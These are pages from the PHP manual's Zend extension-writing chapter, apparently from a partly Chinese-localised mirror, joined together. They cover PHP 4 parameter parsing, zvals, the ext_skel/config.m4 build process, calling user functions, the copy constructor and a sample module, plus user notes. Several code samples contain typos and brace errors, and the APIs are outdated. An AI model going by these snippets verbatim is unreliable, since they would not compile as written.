Note that in the last example we pass 3 for the number of received parameters, instead of ZEND_NUM_ARGS(). What this lets us do is receive the least number of parameters if our function expects a variable number of them. Of course, if you want to operate on the rest of the parameters, you will have to use zend_get_parameters_array_ex() to obtain them.

The parsing function has an extended version that allows for an additional flags argument that controls its actions.
int zend_parse_parameters_ex(int flags, int num_args TSRMLS_DC, char *type_spec, ...);

The only flag you can pass currently is ZEND_PARSE_PARAMS_QUIET, which instructs the function to not output any error messages during its operation. This is useful for functions that expect several sets of completely different arguments, but you will have to output your own error messages.

For example, here is how you would get either a set of three longs or a string:
long l1, l2, l3;
char *s;
if (zend_parse_parameters_ex(ZEND_PARSE_PARAMS_QUIET,
                             ZEND_NUM_ARGS() TSRMLS_CC,
                             "lll", &l1, &l2, &l3) == SUCCESS) {
    /* manipulate longs */
} else if (zend_parse_parameters_ex(ZEND_PARSE_PARAMS_QUIET,
                                    ZEND_NUM_ARGS(), "s", &s, &s_len) == SUCCESS) {
    /* manipulate string */
} else {
    php_error(E_WARNING, "%s() takes either three long values or a string as argument",
              get_active_function_name(TSRMLS_C));
    return;
}

With all the abovementioned ways of receiving function parameters you should have a good handle on this process. For even more example, look through the source code for extensions that are shipped with PHP - they illustrate every conceivable situation.

Old way of retrieving arguments (deprecated)

Deprecated parameter parsing API: This API is deprecated and superseded by the new ZEND parameter parsing API.

After having checked the number of arguments, you need to get access to the arguments themselves. This is done with the help of zend_get_parameters_ex():
zval **parameter;

if(zend_get_parameters_ex(1, &parameter) != SUCCESS)
  WRONG_PARAM_COUNT;
All arguments are stored in a zval container, which needs to be pointed to twice. The snippet above tries to retrieve one argument and make it available to us via the parameter pointer.

zend_get_parameters_ex() accepts at least two arguments. The first argument is the number of arguments to retrieve (which should match the number of arguments with which the function has been called; this is why it's important to check for correct call syntax). The second argument (and all following arguments) are pointers to pointers to pointers to zvals. (Confusing, isn't it?) All these pointers are required because Zend works internally with **zval; to adjust a local **zval in our function,zend_get_parameters_ex() requires a pointer to it.

The return value of zend_get_parameters_ex() can either be SUCCESS or FAILURE, indicating (unsurprisingly) success or failure of the argument processing. A failure is most likely related to an incorrect number of arguments being specified, in which case you should exit with WRONG_PARAM_COUNT.

To retrieve more than one argument, you can use a similar snippet:
zval **param1, **param2, **param3, **param4;

if(zend_get_parameters_ex(4, &param1, &param2, &param3, &param4) != SUCCESS)
    WRONG_PARAM_COUNT;

zend_get_parameters_ex() only checks whether you're trying to retrieve too many parameters. If the function is called with five arguments, but you're only retrieving three of them with zend_get_parameters_ex(), you won't get an error but will get the first three parameters instead. Subsequent calls of zend_get_parameters_ex() won't retrieve the remaining arguments, but will get the same arguments again.

Dealing with a Variable Number of Arguments/Optional Parameters

If your function is meant to accept a variable number of arguments, the snippets just described are sometimes suboptimal solutions. You have to create a line calling zend_get_parameters_ex() for every possible number of arguments, which is often unsatisfying.

For this case, you can use the function zend_get_parameters_array_ex(), which accepts the number of parameters to retrieve and an array in which to store them:
zval **parameter_array[4];

/* get the number of arguments */
argument_count = ZEND_NUM_ARGS();

/* see if it satisfies our minimal request (2 arguments) */
/* and our maximal acceptance (4 arguments) */
if(argument_count < 2 || argument_count > 4)
    WRONG_PARAM_COUNT;

/* argument count is correct, now retrieve arguments */
if(zend_get_parameters_array_ex(argument_count, parameter_array) != SUCCESS)
    WRONG_PARAM_COUNT;
First, the number of arguments is checked to make sure that it's in the accepted range. After that, zend_get_parameters_array_ex() is used to fill parameter_array with valid pointers to the argument values.

A very clever implementation of this can be found in the code handling PHP's fsockopen() located in ext/standard/fsock.c, as shown in 例子 45-6. Don't worry if you don't know all the functions used in this source yet; we'll get to them shortly.

例子 45-6. PHP's implementation of variable arguments in fsockopen().

pval **args[5];
int *sock=emalloc(sizeof(int));
int *sockp;
int arg_count=ARG_COUNT(ht);
int socketd = -1;
unsigned char udp = 0;
struct timeval timeout = { 60, 0 };
unsigned short portno;
unsigned long conv;
char *key = NULL;
FLS_FETCH();

if (arg_count > 5 || arg_count < 2 || zend_get_parameters_array_ex(arg_count,args)==FAILURE) {
    CLOSE_SOCK(1);
    WRONG_PARAM_COUNT;
}

switch(arg_count) {
    case 5:
        convert_to_double_ex(args[4]);
        conv = (unsigned long) (Z_DVAL_PP(args[4]) * 1000000.0);
        timeout.tv_sec = conv / 1000000;
        timeout.tv_usec = conv % 1000000;
        /* fall-through */
    case 4:
        if (!PZVAL_IS_REF(*args[3])) {
            php_error(E_WARNING,"error string argument to fsockopen not passed by reference");
        }
        pval_copy_constructor(*args[3]);
        ZVAL_EMPTY_STRING(*args[3]);
        /* fall-through */
    case 3:
        if (!PZVAL_IS_REF(*args[2])) {
            php_error(E_WARNING,"error argument to fsockopen not passed by reference");
            return;
        }
        ZVAL_LONG(*args[2], 0);
        break;
}

convert_to_string_ex(args[0]);
convert_to_long_ex(args[1]);
portno = (unsigned short) Z_LVAL_P(args[1]);

key = emalloc(Z_STRLEN_P(args[0]) + 10);

fsockopen() accepts two, three, four, or five parameters. After the obligatory variable declarations, the function checks for the correct range of arguments. Then it uses a fall-through mechanism in a switch() statement to deal with all arguments. The switch() statement starts with the maximum number of arguments being passed (five). After that, it automatically processes the case of four arguments being passed, then three, by omitting the otherwise obligatory break keyword in all stages. After having processed the last case, it exits the switch() statement and does the minimal argument processing needed if the function is invoked with only two arguments.

This multiple-stage type of processing, similar to a stairway, allows convenient processing of a variable number of arguments.

Accessing Arguments

To access arguments, it's necessary for each argument to have a clearly defined type. Again, PHP's extremely dynamic nature introduces some quirks. Because PHP never does any kind of type checking, it's possible for a caller to pass any kind of data to your functions, whether you want it or not. If you expect an integer, for example, the caller might pass an array, and vice versa - PHP simply won't notice.

To work around this, you have to use a set of API functions to force a type conversion on every argument that's being passed (see 表格 45-4).

Note: All conversion functions expect a **zval as parameter.

表格 45-4. Argument Conversion Functions

Function | Description
convert_to_boolean_ex() | Forces conversion to a Boolean type. Boolean values remain untouched. Longs, doubles, and strings containing 0 as well as NULL values will result in Boolean 0 (FALSE). Arrays and objects are converted based on the number of entries or properties, respectively, that they have. Empty arrays and objects are converted to FALSE; otherwise, to TRUE. All other values result in a Boolean 1 (TRUE).
convert_to_long_ex() | Forces conversion to a long, the default integer type. NULL values, Booleans, resources, and of course longs remain untouched. Doubles are truncated. Strings containing an integer are converted to their corresponding numeric representation, otherwise resulting in 0. Arrays and objects are converted to 0 if empty, 1 otherwise.
convert_to_double_ex() | Forces conversion to a double, the default floating-point type. NULL values, Booleans, resources, longs, and of course doubles remain untouched. Strings containing a number are converted to their corresponding numeric representation, otherwise resulting in 0.0. Arrays and objects are converted to 0.0 if empty, 1.0 otherwise.
convert_to_string_ex() | Forces conversion to a string. Strings remain untouched. NULL values are converted to an empty string. Booleans containing TRUE are converted to "1", otherwise resulting in an empty string. Longs and doubles are converted to their corresponding string representation. Arrays are converted to the string "Array" and objects to the string "Object".
convert_to_array_ex(value) | Forces conversion to an array. Arrays remain untouched. Objects are converted to an array by assigning all their properties to the array table. All property names are used as keys, property contents as values. NULL values are converted to an empty array. All other values are converted to an array that contains the specific source value in the element with the key 0.
convert_to_object_ex(value) | Forces conversion to an object. Objects remain untouched. NULL values are converted to an empty object. Arrays are converted to objects by introducing their keys as properties into the objects and their values as corresponding property contents in the object. All other types result in an object with the property scalar , having the corresponding source value as content.
convert_to_null_ex(value) | Forces the type to become a NULL value, meaning empty.

注: You can find a demonstration of the behavior in cross_conversion.php on the accompanying CD-ROM. 图形 45-4 shows the output.

图形 45-4. Cross-conversion behavior of PHP.

Using these functions on your arguments will ensure type safety for all data that's passed to you. If the supplied type doesn't match the required type, PHP forces dummy contents on the resulting value (empty strings, arrays, or objects, 0 for numeric values, FALSE for Booleans) to ensure a defined state.

Following is a quote from the sample module discussed previously, which makes use of the conversion functions:
zval **parameter;

if((ZEND_NUM_ARGS() != 1) || (zend_get_parameters_ex(1, &parameter) != SUCCESS))
{
    WRONG_PARAM_COUNT;
}

convert_to_long_ex(parameter);

RETURN_LONG(Z_LVAL_P(parameter));
After retrieving the parameter pointer, the parameter value is converted to a long (an integer), which also forms the return value of this function. Understanding access to the contents of the value requires a short discussion of the zval type, whose definition is shown in 例子 45-7.

例子 45-7. PHP/Zend zval type definition.

typedef pval zval;

typedef struct _zval_struct zval;

typedef union _zvalue_value {
    long lval;					/* long value */
    double dval;				/* double value */
    struct {
        char *val;
        int len;
    } str;
    HashTable *ht;				/* hash table value */
    struct {
        zend_class_entry *ce;
        HashTable *properties;
    } obj;
} zvalue_value;

struct _zval_struct {
    /* Variable information */
    zvalue_value value;		/* value */
    unsigned char type;	/* active type */
    unsigned char is_ref;
    short refcount;
};

Actually, pval (defined in php.h) is only an alias of zval (defined in zend.h), which in turn refers to _zval_struct. This is a most interesting structure. _zval_struct is the "master" structure, containing the value structure, type, and reference information. The substructure zvalue_value is a union that contains the variable's contents. Depending on the variable's type, you'll have to access different members of this union. For a description of both structures, see 表格 45-5, 表格 45-6 and 表格 45-7.

表格 45-5. Zend zval Structure

Entry | Description
value | Union containing this variable's contents. See 表格 45-6 for a description.
type | Contains this variable's type. For a list of available types, see 表格 45-7.
is_ref | 0 means that this variable is not a reference; 1 means that this variable is a reference to another variable.
refcount | The number of references that exist for this variable. For every new reference to the value stored in this variable, this counter is increased by 1. For every lost reference, this counter is decreased by 1. When the reference counter reaches 0, no references exist to this value anymore, which causes automatic freeing of the value.

表格 45-6. Zend zvalue_value Structure

Entry | Description
lval | Use this property if the variable is of the type IS_LONG, IS_BOOLEAN, or IS_RESOURCE.
dval | Use this property if the variable is of the type IS_DOUBLE.
str | This structure can be used to access variables of the type IS_STRING. The member len contains the string length; the member val points to the string itself. Zend uses C strings; thus, the string length contains a trailing 0x00.
ht | This entry points to the variable's hash table entry if the variable is an array.
obj | Use this property if the variable is of the type IS_OBJECT.

表格 45-7. Zend Variable Type Constants

Constant | Description
IS_NULL | Denotes a NULL (empty) value.
IS_LONG | A long (integer) value.
IS_DOUBLE | A double (floating point) value.
IS_STRING | A string.
IS_ARRAY | Denotes an array.
IS_OBJECT | An object.
IS_BOOL | A Boolean value.
IS_RESOURCE | A resource (for a discussion of resources, see the appropriate section below).
IS_CONSTANT | A constant (defined) value.

To access a long you access zval.value.lval, to access a double you use zval.value.dval, and so on. Because all values are stored in a union, trying to access data with incorrect union members results in meaningless output.

Accessing arrays and objects is a bit more complicated and is discussed later.

Dealing with Arguments Passed by Reference

If your function accepts arguments passed by reference that you intend to modify, you need to take some precautions.

What we didn't say yet is that under the circumstances presented so far, you don't have write access to any zval containers designating function parameters that have been passed to you. Of course, you can change any zval containers that you created within your function, but you mustn't change any zvals that refer to Zend-internal data!

We've only discussed the so-called *_ex() API so far. You may have noticed that the API functions we've used are called zend_get_parameters_ex() instead of zend_get_parameters(), convert_to_long_ex() instead of convert_to_long(), etc. The *_ex() functions form the so-called new "extended" Zend API. They give a minor speed increase over the old API, but as a tradeoff are only meant for providing read-only access.

Because Zend works internally with references, different variables may reference the same value. Write access to a zval container requires this container to contain an isolated value, meaning a value that's not referenced by any other containers. If a zval container were referenced by other containers and you changed the referenced zval, you would automatically change the contents of the other containers referencing this zval (because they'd simply point to the changed value and thus change their own value as well).

zend_get_parameters_ex() doesn't care about this situation, but simply returns a pointer to the desired zval containers, whether they consist of references or not. Its corresponding function in the traditional API, zend_get_parameters(), immediately checks for referenced values. If it finds a reference, it creates a new, isolated zval container; copies the referenced data into this newly allocated space; and then returns a pointer to the new, isolated value.

This action is called zval separation (or pval separation). Because the *_ex() API doesn't perform zval separation, it's considerably faster, while at the same time disabling write access.

To change parameters, however, write access is required. Zend deals with this situation in a special way: Whenever a parameter to a function is passed by reference, it performs automatic zval separation. This means that whenever you're calling a function like this in PHP, Zend will automatically ensure that $parameter is being passed as an isolated value, rendering it to a write-safe state:
my_function(&$parameter);

But this is not the case with regular parameters! All other parameters that are not passed by reference are in a read-only state.

This requires you to make sure that you're really working with a reference - otherwise you might produce unwanted results. To check for a parameter being passed by reference, you can use the macro PZVAL_IS_REF. This macro accepts a zval* to check if it is a reference or not. Examples are given in in 例子 45-8.

例子 45-8. Testing for referenced parameter passing.

zval *parameter;

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "z", &parameter) == FAILURE)
    return;

/* check for parameter being passed by reference */
if (!PZVAL_IS_REF(parameter)) {
{
    zend_error(E_WARNING, "Parameter wasn't passed by reference");
    RETURN_NULL();
}

/* make changes to the parameter */
ZVAL_LONG(parameter, 10);

Assuring Write Safety for Other Parameters

You might run into a situation in which you need write access to a parameter that's retrieved with zend_get_parameters_ex() but not passed by reference. For this case, you can use the macro SEPARATE_ZVAL, which does a zval separation on the provided container. The newly generated zval is detached from internal data and has only a local scope, meaning that it can be changed or destroyed without implying global changes in the script context:
zval **parameter;

/* retrieve parameter */
zend_get_parameters_ex(1, &parameter);

/* at this stage, <parameter> still is connected */
/* to Zend's internal data buffers */

/* make <parameter> write-safe */
SEPARATE_ZVAL(parameter);

/* now we can safely modify <parameter> */
/* without implying global changes */
SEPARATE_ZVAL uses emalloc() to allocate the new zval container, which means that even if you don't deallocate this memory yourself, it will be destroyed automatically upon script termination. However, doing a lot of calls to this macro without freeing the resulting containers will clutter up your RAM.

Note: As you can easily work around the lack of write access in the "traditional" API (with zend_get_parameters() and so on), this API seems to be obsolete, and is not discussed further in this chapter.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Source Discussion | 上一级 | Creating Variables


PHP's Automatic Build System

PHP 4 features an automatic build system that's very flexible. All modules reside in a subdirectory of the ext directory. In addition to its own sources, each module consists of a config.m4 file, for extension configuration. (for example, see http://www.gnu.org/software/m4/manual/m4.html)

All these stub files are generated automatically, along with .cvsignore, by a little shell script named ext_skel that resides in the ext directory. As argument it takes the name of the module that you want to create. The shell script then creates a directory of the same name, along with the appropriate stub files.

Step by step, the process looks like this:
:~/cvs/php4/ext:> ./ext_skel --extname=my_module
Creating directory my_module
Creating basic files: config.m4 .cvsignore my_module.c php_my_module.h CREDITS EXPERIMENTAL tests/001.phpt my_module.php [done].

To use your new extension, you will have to execute the following steps:

1.  $ cd ..
2.  $ vi ext/my_module/config.m4
3.  $ ./buildconf
4.  $ ./configure --[with|enable]-my_module
5.  $ make
6.  $ ./php -f ext/my_module/my_module.php
7.  $ vi ext/my_module/my_module.c
8.  $ make

Repeat steps 3-6 until you are satisfied with ext/my_module/config.m4 and
step 6 confirms that your module is compiled into PHP. Then, start writing
code and repeat the last two steps as often as necessary.
This instruction creates the aforementioned files. To include the new module in the automatic configuration and build process, you have to run buildconf, which regenerates the configure script by searching through the ext directory and including all found config.m4 files.

The default config.m4 shown in 例子 45-1 is a bit more complex:

例子 45-1. The default config.m4.

dnl $Id: build.xml,v 1.1 2005/08/21 16:27:06 goba Exp $
dnl config.m4 for extension my_module

dnl Comments in this file start with the string 'dnl'.
dnl Remove where necessary. This file will not work
dnl without editing.

dnl If your extension references something external, use with:

dnl PHP_ARG_WITH(my_module, for my_module support,
dnl Make sure that the comment is aligned:
dnl [  --with-my_module             Include my_module support])

dnl Otherwise use enable:

dnl PHP_ARG_ENABLE(my_module, whether to enable my_module support,
dnl Make sure that the comment is aligned:
dnl [  --enable-my_module           Enable my_module support])

if test "$PHP_MY_MODULE" != "no"; then
  dnl Write more examples of tests here...

  dnl # --with-my_module -> check with-path
  dnl SEARCH_PATH="/usr/local /usr"     # you might want to change this
  dnl SEARCH_FOR="/include/my_module.h"  # you most likely want to change this
  dnl if test -r $PHP_MY_MODULE/; then # path given as parameter
  dnl   MY_MODULE_DIR=$PHP_MY_MODULE
  dnl else # search default path list
  dnl   AC_MSG_CHECKING([for my_module files in default path])
  dnl   for i in $SEARCH_PATH ; do
  dnl     if test -r $i/$SEARCH_FOR; then
  dnl       MY_MODULE_DIR=$i
  dnl       AC_MSG_RESULT(found in $i)
  dnl     fi
  dnl   done
  dnl fi
  dnl
  dnl if test -z "$MY_MODULE_DIR"; then
  dnl   AC_MSG_RESULT([not found])
  dnl   AC_MSG_ERROR([Please reinstall the my_module distribution])
  dnl fi

  dnl # --with-my_module -> add include path
  dnl PHP_ADD_INCLUDE($MY_MODULE_DIR/include)

  dnl # --with-my_module -> chech for lib and symbol presence
  dnl LIBNAME=my_module # you may want to change this
  dnl LIBSYMBOL=my_module # you most likely want to change this

  dnl PHP_CHECK_LIBRARY($LIBNAME,$LIBSYMBOL,
  dnl [
  dnl   PHP_ADD_LIBRARY_WITH_PATH($LIBNAME, $MY_MODULE_DIR/lib, MY_MODULE_SHARED_LIBADD)
  dnl   AC_DEFINE(HAVE_MY_MODULELIB,1,[ ])
  dnl ],[
  dnl   AC_MSG_ERROR([wrong my_module lib version or lib not found])
  dnl ],[
  dnl   -L$MY_MODULE_DIR/lib -lm -ldl
  dnl ])
  dnl
  dnl PHP_SUBST(MY_MODULE_SHARED_LIBADD)

  PHP_NEW_EXTENSION(my_module, my_module.c, $ext_shared)
fi

If you're unfamiliar with M4 files (now is certainly a good time to get familiar), this might be a bit confusing at first; but it's actually quite easy.

Note: Everything prefixed with dnl is treated as a comment and is not parsed.

The config.m4 file is responsible for parsing the command-line options passed to configure at configuration time. This means that it has to check for required external files and do similar configuration and setup tasks.

The default file creates two configuration directives in the configure script: --with-my_module and --enable-my_module. Use the first option when referring external files (such as the --with-apache directive that refers to the Apache directory). Use the second option when the user simply has to decide whether to enable your extension. Regardless of which option you use, you should uncomment the other, unnecessary one; that is, if you're using --enable-my_module, you should remove support for --with-my_module, and vice versa.

By default, the config.m4 file created by ext_skel accepts both directives and automatically enables your extension. Enabling the extension is done by using the PHP_EXTENSION macro. To change the default behavior to include your module into the PHP binary when desired by the user (by explicitly specifying --enable-my_module or --with-my_module), change the test for $PHP_MY_MODULE to == "yes":
if test "$PHP_MY_MODULE" == "yes"; then dnl
    Action.. PHP_EXTENSION(my_module, $ext_shared)
    fi
This would require you to use --enable-my_module each time when reconfiguring and recompiling PHP.

Note: Be sure to run buildconf every time you change config.m4!

We'll go into more details on the M4 macros available to your configuration scripts later in this chapter. For now, we'll simply use the default files.

add a note add a note User Contributed Notes
wilf at bigpond dot net dot au
15-Jun-2003 03:26
Another caching problem:

If you seen a message saying that 'may contain buggy cache code', ensure that you delete the 'autom4k...cache' directory before running buildconf.

A good test the see if your new module has been picked up by buildconf is:

$ grep -c my_module configure
(if that returns 0 then buildconf did not work).

Unfortunately this means that you have to completely rebuild your configure script each time you change an M4 file but it doesnt take too long.
wendywds at hotmail dot com
12-May-2003 06:39
Using php-4.3.1 on Redhat Linux 8, step 6 did not work as written.  There is no php executable in /usr/php-4.3.1.  Instead, with help from the pear-general mailing list, I discovered that the newly built php executable is in /usr/php-4.3.1/sapi/cli.  (The very end of the output of 'make' shows -o sapi/cli/php.  According to Johannes on pear-general, it might be in sapi/cgi instead.)

So I had to change step 6 to:
6.  $ sapi/cli/php -f ext/my_module/my_module.php
john dot gallet at wanadoo dot fr
05-Jan-2002 08:39
Distinction between --with and --enable : the "something external" means for exemple a shared object. If you are writing a C wrapper for an existing .so library, you should use --with

Do not forget the "cache" effect to modifyng M4 files. When you are testing and getting erros, be sure to delete config.cache before re-running buildconf and ./configure (I spent an hour looking for an error that was not there any more because of that).

HTH and happy developpment.
add a note add a note

后退 | 起点 | 前进
Source Layout | 上一级 | Creating Extensions


Calling User Functions

You can call user functions from your own modules, which is very handy when implementing callbacks; for example, for array walking, searching, or simply for event-based programs.

User functions can be called with the function call_user_function_ex(). It requires a hash value for the function table you want to access, a pointer to an object (if you want to call a method), the function name, return value, number of arguments, argument array, and a flag indicating whether you want to perform zval separation.

ZEND_API int call_user_function_ex(HashTable *function_table, zval *object,
zval *function_name, zval **retval_ptr_ptr,
int param_count, zval **params[],
int no_separation);

Note that you don't have to specify both function_table and object; either will do. If you want to call a method, you have to supply the object that contains this method, in which case call_user_function()automatically sets the function table to this object's function table. Otherwise, you only need to specify function_table and can set object to NULL.

Usually, the default function table is the "root" function table containing all function entries. This function table is part of the compiler globals and can be accessed using the macro CG. To introduce the compiler globals to your function, call the macro TSRMLS_FETCH once.

The function name is specified in a zval container. This might be a bit surprising at first, but is quite a logical step, since most of the time you'll accept function names as parameters from calling functions within your script, which in turn are contained in zval containers again. Thus, you only have to pass your arguments through to this function. This zval must be of type IS_STRING.

The next argument consists of a pointer to the return value. You don't have to allocate memory for this container; the function will do so by itself. However, you have to destroy this container (using zval_dtor()) afterward!

Next is the parameter count as integer and an array containing all necessary parameters. The last argument specifies whether the function should perform zval separation - this should always be set to 0. If set to 1, the function consumes less memory but fails if any of the parameters need separation.

例子 45-15 shows a small demonstration of calling a user function. The code calls a function that's supplied to it as argument and directly passes this function's return value through as its own return value. Note the use of the constructor and destructor calls at the end - it might not be necessary to do it this way here (since they should be separate values, the assignment might be safe), but this is bulletproof.

例子 45-15. Calling user functions.

zval **function_name;
zval *retval;

if((ZEND_NUM_ARGS() != 1) || (zend_get_parameters_ex(1, &function_name) != SUCCESS))
{
    WRONG_PARAM_COUNT;
}

if((*function_name)->type != IS_STRING)
{
    zend_error(E_ERROR, "Function requires string argument");
}

TSRMSLS_FETCH();

if(call_user_function_ex(CG(function_table), NULL, *function_name, &retval, 0, NULL, 0) != SUCCESS)
{
    zend_error(E_ERROR, "Function call failed");
}

zend_printf("We have %i as type<br>", retval->type);

*return_value = *retval;
zval_copy_ctor(return_value);
zval_ptr_dtor(&retval);

<?php

dl("call_userland.so");

function test_function()
{

    print("We are in the test function!<br>");

    return("hello");

}

$return_value = call_userland("test_function");

print("Return value: \"$return_value\"<br>");
?>

add a note add a note User Contributed Notes
leon at antrophia dot com
26-Dec-2002 03:53
This description is a bit outdated. I don't know since when, but I am using PHP 4.2.3 and an argument has been added.

I have used this and this works (and take special note to the last argument) :

call_user_function_ex(CG(function_table), NULL, function_name, &return, 1, array, 0, NULL TSRMLS_CC) == FAILURE

Hope this helps. Took me one news post on php.dev to find out ;)
k at ailis dot de
28-Mar-2002 09:43
An information that is missing here: The function name parameter can be an array with two elements. The first element is an object reference or a class name and the second element is the method name. Zend recognizes if the parameter is a string (which results in a normal function call or a normal method call if the object parameter is used) or if it is an array.
add a note add a note

后退 | 起点 | 前进
Startup and Shutdown Functions | 上一级 | Initialization File Support


Reference: Some Configuration Macros

config.m4

The file config.m4 is processed by buildconf and must contain all the instructions to be executed during configuration. For example, these can include tests for required external files, such as header files, libraries, and so on. PHP defines a set of macros that can be used in this process, the most useful of which are described in 表格 45-18.

表格 45-18. M4 Macros for config.m4

Macro | Description
AC_MSG_CHECKING(message) | Prints a "checking <message>" text during configure.
AC_MSG_RESULT(value) | Gives the result to AC_MSG_CHECKING; should specify either yes or no as value.
AC_MSG_ERROR(message) | Prints message as error message during configure and aborts the script.
AC_DEFINE(name,value,description) | Adds #define to php_config.h with the value of value and a comment that says description (this is useful for conditional compilation of your module).
AC_ADD_INCLUDE(path) | Adds a compiler include path; for example, used if the module needs to add search paths for header files.
AC_ADD_LIBRARY_WITH_PATH(libraryname,librarypath) | Specifies an additional library to link.
AC_ARG_WITH(modulename,description,unconditionaltest,conditionaltest) | Quite a powerful macro, adding the module with description to the configure --help output. PHP checks whether the option --with-<modulename> is given to the configure script. If so, it runs the script unconditionaltest (for example, --with-myext=yes), in which case the value of the option is contained in the variable $withval. Otherwise, it executes conditionaltest.
PHP_EXTENSION(modulename, [shared]) | This macro is a must to call for PHP to configure your extension. You can supply a second argument in addition to your module name, indicating whether you intend compilation as a shared module. This will result in a definition at compile time for your source as COMPILE_DL_<modulename>.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Where to Go from Here | 上一级 | API Macros


Duplicating Variable Contents: The Copy Constructor

Sooner or later, you may need to assign the contents of one zval container to another. This is easier said than done, since the zval container doesn't contain only type information, but also references to places in Zend's internal data. For example, depending on their size, arrays and objects may be nested with lots of hash table entries. By assigning one zval to another, you avoid duplicating the hash table entries, using only a reference to them (at most).

To copy this complex kind of data, use the copy constructor. Copy constructors are typically defined in languages that support operator overloading, with the express purpose of copying complex types. If you define an object in such a language, you have the possibility of overloading the "=" operator, which is usually responsible for assigning the contents of the rvalue (result of the evaluation of the right side of the operator) to the lvalue (same for the left side).

Overloading means assigning a different meaning to this operator, and is usually used to assign a function call to an operator. Whenever this operator would be used on such an object in a program, this function would be called with the lvalue and rvalue as parameters. Equipped with that information, it can perform the operation it intends the "=" operator to have (usually an extended form of copying).

This same form of "extended copying" is also necessary for PHP's zval containers. Again, in the case of an array, this extended copying would imply re-creation of all hash table entries relating to this array. For strings, proper memory allocation would have to be assured, and so on.

Zend ships with such a function, called zend_copy_ctor() (the previous PHP equivalent was pval_copy_constructor()).

A most useful demonstration is a function that accepts a complex type as argument, modifies it, and then returns the argument:

zval *parameter;

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "z", &parameter) == FAILURE)
   return;
}

// do modifications to the parameter here

// now we want to return the modified container:
*return_value = *parameter;
zval_copy_ctor(return_value);

The first part of the function is plain-vanilla argument retrieval. After the (left out) modifications, however, it gets interesting: The container of parameter is assigned to the (predefined) return_value container. Now, in order to effectively duplicate its contents, the copy constructor is called. The copy constructor works directly with the supplied argument, and the standard return values are FAILURE on failure and SUCCESS on success.

If you omit the call to the copy constructor in this example, both parameter and return_value would point to the same internal data, meaning that return_value would be an illegal additional reference to the same data structures. Whenever changes occurred in the data that parameter points to, return_value might be affected. Thus, in order to create separate copies, the copy constructor must be used.

The copy constructor's counterpart in the Zend API, the destructor zval_dtor(), does the opposite of the constructor.

add a note add a note User Contributed Notes
j33433 at gmail dot com
15-Jul-2005 04:09
"*return_value == *parameter;" should be "*return_value = *parameter;"
add a note add a note

后退 | 起点 | 前进
Creating Variables | 上一级 | Returning Values


Creating Extensions

We'll start with the creation of a very simple extension at first, which basically does nothing more than implement a function that returns the integer it receives as parameter. 例子 45-2 shows the source.

例子 45-2. A simple extension.

/* include standard header */
#include "php.h"

/* declaration of functions to be exported */
ZEND_FUNCTION(first_module);

/* compiled function list so Zend knows what's in this module */
zend_function_entry firstmod_functions[] =
{
    ZEND_FE(first_module, NULL)
    {NULL, NULL, NULL}
};

/* compiled module information */
zend_module_entry firstmod_module_entry =
{
    STANDARD_MODULE_HEADER,
    "First Module",
    firstmod_functions,
    NULL,
    NULL,
    NULL,
    NULL,
    NULL,
    NO_VERSION_YET,
    STANDARD_MODULE_PROPERTIES
};

/* implement standard "stub" routine to introduce ourselves to Zend */
#if COMPILE_DL_FIRST_MODULE
ZEND_GET_MODULE(firstmod)
#endif

/* implement function that is meant to be made available to PHP */
ZEND_FUNCTION(first_module)
{
    long parameter;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "l", &parameter) == FAILURE) {
        return;
    }

    RETURN_LONG(parameter);
}

This code contains a complete PHP module. We'll explain the source code in detail shortly, but first we'd like to discuss the build process. (This will allow the impatient to experiment before we dive into API discussions.)

注: The example source makes use of some features introduced with the Zend version used in PHP 4.1.0 and above, it won't compile with older PHP 4.0.x versions.

Compiling Modules

There are basically two ways to compile modules:

  • Use the provided "make" mechanism in the ext directory, which also allows building of dynamic loadable modules.

  • Compile the sources manually.

The first method should definitely be favored, since, as of PHP 4.0, this has been standardized into a sophisticated build process. The fact that it is so sophisticated is also its drawback, unfortunately - it's hard to understand at first. We'll provide a more detailed introduction to this later in the chapter, but first let's work with the default files.

The second method is good for those who (for some reason) don't have the full PHP source tree available, don't have access to all files, or just like to juggle with their keyboard. These cases should be extremely rare, but for the sake of completeness we'll also describe this method.

Compiling Using Make. To compile the sample sources using the standard mechanism, copy all their subdirectories to the ext directory of your PHP source tree. Then run buildconf, which will create an updated configure script containing appropriate options for the new extension. By default, all the sample sources are disabled, so you don't have to fear breaking your build process.

After you run buildconf, configure --help shows the following additional modules:

--enable-array_experiments   BOOK: Enables array experiments
  --enable-call_userland       BOOK: Enables userland module
  --enable-cross_conversion    BOOK: Enables cross-conversion module
  --enable-first_module        BOOK: Enables first module
  --enable-infoprint           BOOK: Enables infoprint module
  --enable-reference_test      BOOK: Enables reference test module
  --enable-resource_test       BOOK: Enables resource test module
  --enable-variable_creation   BOOK: Enables variable-creation module

The module shown earlier in 例子 45-2 can be enabled with --enable-first_module or --enable-first_module=yes.

Compiling Manually. To compile your modules manually, you need the following commands:

Action | Command
Compiling | cc -fpic -DCOMPILE_DL=1 -I/usr/local/include -I. -I.. -I../Zend -c -o <your_object_file> <your_c_file>
Linking | cc -shared -L/usr/local/lib -rdynamic -o <your_module_file> <your_object_file(s)>

The command to compile the module simply instructs the compiler to generate position-independent code (-fpic shouldn't be omitted) and additionally defines the constant COMPILE_DL to tell the module code that it's compiled as a dynamically loadable module (the test module above checks for this; we'll discuss it shortly). After these options, it specifies a number of standard include paths that should be used as the minimal set to compile the source files.

Note: All include paths in the example are relative to the directory ext. If you're compiling from another directory, change the pathnames accordingly. Required items are the PHP directory, the Zend directory, and (if necessary), the directory in which your module resides.

The link command is also a plain vanilla command instructing linkage as a dynamic module.

You can include optimization options in the compilation command, although these have been omitted in this example (but some are included in the makefile template described in an earlier section).

Note: Compiling and linking manually as a static module into the PHP binary involves very long instructions and thus is not discussed here. (It's not very efficient to type all those commands.)

add a note add a note User Contributed Notes
vijay at planetbazaar dot com
17-Sep-2005 03:53
Notes for Windows PHP5 extension developers:

First, two great articles at http://www.zend.com/php/internals/index.php are in the must read category. Unfortunately an article on building extensions on Windows is yet to arrive at this time. So one gets stuck at section 'Building Your Extension' in the first article - because there is no 'phpize' for Windows to the best of my knowledge.

